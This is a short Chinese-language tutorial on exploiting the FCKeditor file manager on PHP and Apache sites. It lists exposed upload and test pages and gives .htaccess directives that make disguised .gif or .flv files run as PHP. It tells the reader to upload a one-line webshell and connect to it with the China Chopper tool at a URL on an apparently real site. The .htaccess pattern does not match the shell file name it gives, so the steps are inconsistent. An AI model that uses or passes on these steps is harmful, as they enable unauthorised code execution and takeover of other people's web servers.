php+apache fckeditor漏洞利用

1.发现fckeditor目录存在，存在以下链接：

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/php/connector.php

FCKeditor/editor/filemanager/browser/default/browser.html?Type=image&Connector=connectors/php/connector.php

2.创建1.htaccess文件,文件内容如下：

<FilesMatch "_php.gif">

SetHandler application/x-httpd-php

</FilesMatch>

3.上传1.htaccess和一句话木马文件fuckxx.php.gif 到同一目录,一般是UserFiles/File/目录下。

4.中国菜刀链接：http://www.kanwangluo.com/UserFiles/File/fuckxx.php.gif, 

 

还有就是有些人可能会遇到在上传图片的时候，fckeditor报错，说是错误的文件什么的，这里有个方法：

可以换种上传类型，用Flash上传就不会碰到类似的限制，不过.htaccess文件的内容也要改改，还有shell的文件名

<FilesMatch "_php.flv">

SetHandler application/x-httpd-php

</FilesMatch>

shell的名字改成shell.php.flv 这样就可以了